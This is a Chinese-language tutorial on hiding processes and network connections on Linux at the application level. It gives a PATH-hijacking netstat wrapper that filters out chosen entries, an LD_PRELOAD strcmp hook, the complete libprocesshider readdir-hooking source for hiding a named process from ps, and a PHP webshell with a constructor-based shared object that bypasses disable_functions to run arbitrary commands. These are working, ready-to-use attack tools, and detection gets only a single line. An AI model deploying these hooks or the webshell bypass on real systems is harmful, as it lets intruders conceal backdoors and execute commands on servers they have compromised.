浅谈Linux进程隐藏
文章目录
前言
💡 本文不会涉及内核层面,只是从应用层介绍linux下进程隐藏的一些知识点,抛砖引玉,探索更多的思路
- 环境变量的绕过。
LD_PRELOAD
绕过方法。- 一些简单实例。
- 一些其它绕过思路。
环境变量的绕过
常用的命令在哪里
ps、netstat、ls等
whereis netstat
which netstat
环境变量的调用
查看环境变量:echo $PATH
思考一下我有两个路径下一样的程序会调用哪一个?
前置知识的了解
$@:
以一个单字符串显示所有向脚本传递的参数
查看环境变量:echo $PATH
grep:
-E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。
-v 或 --invert-match : 显示不包含匹配文本的所有行。
Netstat伪装
Netstat位置:
/usr/bin/netstat
创建优先级较高文件:
创建/usr/local/bin/netstat
写入:
bash
# !/bin/bash
/usr/bin/netstat $@ | grep -Ev 'name|name|name'
含有引号中每个|分割符中的选项都会被屏蔽
可以是进程名、ip或端口
赋予权限执行:
chmod +x netstat
这样便隐藏了相关信息
查看当前网络连接
消失的3306
怎么去甄别
通过查看命令所在的位置
LD_PRELOAD
链接:编译器找到程序中所引用的函数或全局变量所存在的位置
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝。
动态链接:指编译系统在链接阶段并不把目标文件和函数库文件链接在一起,而是等到程序在运行过程中需要使用时才链接函数库。
一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的代码,通过返回值控制流程,那么就会带来一些危害。
正常情况下, Linux 动态加载器ld-linux
会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD
是一个可选的环境变量,包含一个或多个指向共享链接库文件的路径。
加载器会先于 C 语言运行库之前载入LD_PRELOAD
指定的共享链接库,也就是所谓的预装载 (preload)。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
如何利用呢?
简单实例
check.c
一个正常检查密码的C程序
正常编译并运行
c
//check.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "true_password";
if(argc<2){
printf("usage:%s <password>\n",argv[0]);
return 0;
}
if(!strcmp(passwd,argv[1])){
printf("Correct Passwword!\n");
}
else{
printf("Invalid Password!\n");
}
return 0;
}
编译并运行
重载函数
重载strcmp()函数,并编译成动态链接库,实现劫持原函数的功能。
-shared
:表明产生共享库
-fPIC
:则表明使用地址无关代码,代码本身就能被放到线性地址空间的任意位置
c
//123.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1,const char *s2){
printf("s1=<%s>, s2=<%s>\n",s1,s2);
return 0;
}
设置LD_PERLOAD
我们发现重载了函数,改变了原来函数的逻辑结构。
删除环境变量LD_PERLOAD
unset export LD_PRELOAD
PS的隐藏
跟踪PS
strace /usr/bin/ps
通过查看输出,发现PS就是在不断的读取/proc/pid
下的文件信息
一般先调用 newfstat()
确认文件状态,再调用openat()
打开文件句柄,然后 read()
读取内容,最后close()
关闭;不断重复这一系列动作从而获取进程信息。
不过这些调用是系统的调用,查阅资料PS直接调用的函数是readdir()
和opendir()
。
readdir函数
readdir函数返回一个指向dirent结构体的指针,该结构体代表了由dir指向的目录流中的下一个目录项;
如果读到end-of-file或者出现了错误,那么返回NULL。
readdir函数返回的值会被后续调用的(针对同一目录流的)readdir函数返回值所覆盖。
在Linux系统中,dirent结构体定义如下:
如何HOOK
思路如下:
- 重写
readdir()
函数,保证取值和返回类型相同 - 声明一个函数指针保存原始
readdir()
函数调用 - 程序调用我们假的
readdir()
函数时,函数内部去调用真正的readdir()
获取到结果 - 函数内部判断当前进程路径是否为/proc
- 函数内部判断文件名是否为要过滤的进程名
- 当两个条件都满足时 continue 跳过,从而不打印进程名
参考别人的思路
https://github.com/gianlucaborello/libprocesshider
c
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "ping";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
编译并验证
测试ping 发现进程中找不到ping,如果制作后门连接的话,会在netstat里面看到,这就需要对netstat里面的函数hook,此处就不再一一展开。
LD_PRELOAD的其他利用思路
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
当拿到一个PHP的webshell
无法执行系统命令时,发现有disable_functions
禁用了命令执行函数。可尝试LD_PRELOAD
思路绕过
GCC 有个 C 语言扩展修饰符__attribute__((constructor))
,可以让由它修饰的函数在main()
之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))
修饰的函数。
php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}